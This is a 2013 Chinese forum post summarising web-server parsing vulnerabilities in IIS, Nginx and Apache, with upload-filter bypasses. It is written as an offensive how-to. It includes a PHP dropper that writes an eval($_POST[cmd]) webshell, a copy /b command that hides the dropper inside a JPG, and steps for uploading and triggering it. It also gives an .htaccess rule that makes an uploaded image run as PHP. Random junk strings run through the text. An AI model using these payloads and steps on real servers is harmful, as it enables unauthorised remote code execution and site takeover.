找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2682|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain8 P4 t6 A. y# U4 F
[+]IIS6.0
( p. k9 Q$ H# ~" }* X
, x( h1 w5 I" [1 A+ l$ b目录解析:/xx.asp/xx.jpg
1 J$ m9 v/ U. d; r4 y xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码7 d) F. R, ?( g! q  d. O# q' V) N% b
IIS6.0 会将 xx.jpg 解析为 asp 文件。
7 d7 p) Q8 D8 w后缀解析:/xx.asp;.jpg     
9 }: K4 q* [& C, Y+ \1 M4 d, m. ^" | IIS6.0 都会把此类后缀文件成功解析为 asp 文件。; O0 X! P- a& `- j5 _
默认解析:/xx.asa
3 I/ u) J: M7 B         /xx.cer; @3 I6 o$ B( J9 Y1 M7 @
         /xx.cdx
9 {* {# l1 s' ~- w7 i3 q# r" q7 B IIS6.0 默认的可执行文件除了 asp 还包含这三种( ]# H9 T* h. }0 x: X( ~  y) y" l% g
此处可联系利用目录解析漏洞 * n: L6 d+ K1 P. ]; I& t  Y' g1 P5 e- a
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
9 B! v- g, u, y5 J# {[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
4 e$ O8 R; y, ~7 z 2 N* R& O4 Y' j
IIS 7.0/IIS 7.5/Nginx <0.8.03+ x+ K( Q5 @  Y# m0 X
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
3 a; u! G1 t5 ~ 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。+ n$ e* b5 {$ q' `- @& E. o  P4 i
常用利用方法:, r5 s5 b/ }' d- d
将一张图和一个写入后门代码的文本文件合并将恶意文本
' v: e: h; i2 T5 o 写入图片的二进制代码之后,避免破坏图片文件头和尾
6 J( y1 n, M# L, q( k  H: y 如:7 w: v2 C2 [  I
copy xx.jpg /b + yy.txt/a xy.jpg
% v9 @3 `' |$ B8 w #########################################################( W% g- V' l$ s
/b 即二进制[binary]模式
3 D7 `3 v/ d* W/ y& p3 T9 Z /a 即ascii模式
" _+ _  b8 L: l0 e xx.jpg 正常图片文件
" u: N: [/ l% R% f" T' \$ Q7 G yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),+ c1 Z& q3 M* r% U
'<?php eval($_POST[cmd])?>');?>: e0 v. H5 D) f# t1 R( c. G
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称: s0 ~9 O* `# f+ a9 E, N; S/ H! }
为shell.php的文件& s, |* `) {% n$ _5 S
###########################################################6 n- F) O- h$ ]3 F5 f5 |2 d0 n9 f7 L/ E
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
  x  i+ B, C2 J9 {' @5 H( _" W, l* ?  P 即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
1 ?4 y" {  L7 v6 P9 Y8 [ 密码 cmd
+ J4 R$ o4 m# s8 R5 Y[+]Nginx <0.8.03
: Q  `* B. c4 ~6 p$ n2 x 8 A. d$ y5 ^2 N- g- z6 Y
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
/ p  w6 y& _. [$ ~6 q 在一个文件路径(/xx.jpg)后面加上%00.php
* ?, p  g& C& g' ~5 {. N" R* g/ M0 Q, k 会将 /xx.jpg%00.php 解析为 php 文件。: F3 n. R4 O: H" @! ^8 C
[+]Apache<0.8.036 h' M% T+ |* L0 V* F

7 q# Q; H8 }- \! C! c$ V2 C 后缀解析:test.php.x1.x2.x3
# z; i7 y: K8 C, ?2 A) ?' \; V Apache将从右至左开始判断后缀,若x3非可识别后缀,
# F  ~, ^/ r) K& t" R, q 再判断x2,直到找到可识别后缀为止,然后将该可识别
' Y1 u* J7 O. V9 z5 J 后缀进解析test.php.x1.x2.x3 则会被解析为php
/ r, Q5 y% Q/ B" @/ P 经验之谈:php|php3|phtml 多可被Apache解析。# H0 E' i' h. f9 k4 X: C- q$ L2 P0 D
[+]其他一些可利用的
3 d6 `% B; ~1 A' e8 Q7 V, `
4 B0 w. f- S0 i( \( X. {在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的( @) O9 `, z* ]2 G$ M, o, @
若这样命名,windows会默认除去空格或点,这也是可以被利用的!8 B. D8 V7 Q! C9 z2 i* n
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
; Z# x6 O* b4 |' z; A, V& z6 H" t或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可( r. j3 Y% C) m
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
* e/ m- J4 f, w+ \. |6 I{Linux主机中不行,Linux允许这类文件存在}  q+ ~) k  \  ]: O; h
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
5 E& i: y4 C  p的,当初我并不知道),且可以被上传,那可以尝试在! @/ S7 x1 s) b" q3 e8 Q0 f
.htaccess中写入:
% V! G/ ~/ n. Y1 ^/ c* x& r<FilesMatch “shell.jpg”> ! m3 A! g# I: V8 j2 J
SetHandler application/x-httpd-php
; K) O- Z7 J+ ]# R& x! t# |</FilesMatch>
! [, Q! W( I8 Dshell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
# T- r* W& Y( w[+]错误修改2 k# ]* t) x& K* X% H2 j
: \9 |: C( h0 t
在 IIS 6.0 下可解析 /xx.asp:.jpg
3 J/ ^3 w2 H4 C- T: E  Z{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去5 h5 F! x; N9 w2 @/ G
剩下/xx.asp}修改:
2 a& o" N2 V1 K9 l+ P先谢谢核攻击的提醒
; I% g6 f8 X% l9 ~$ X, {, T当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp5 N  t, t7 R$ v7 _
里是没有任何内容的,因为。。不好解释 大家自己看
) L  i  U% s: k9 ~* Xhttp://lcx.cc/?i=2448
/ p4 Z, n6 J, s7 M* x3 J. h6 b& ^, `http://baike.baidu.com/view/3619593.htm
; c. I$ L' F1 _% T# Y( C$ S# J  b2 B$ A: D9 Q8 S: m: a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表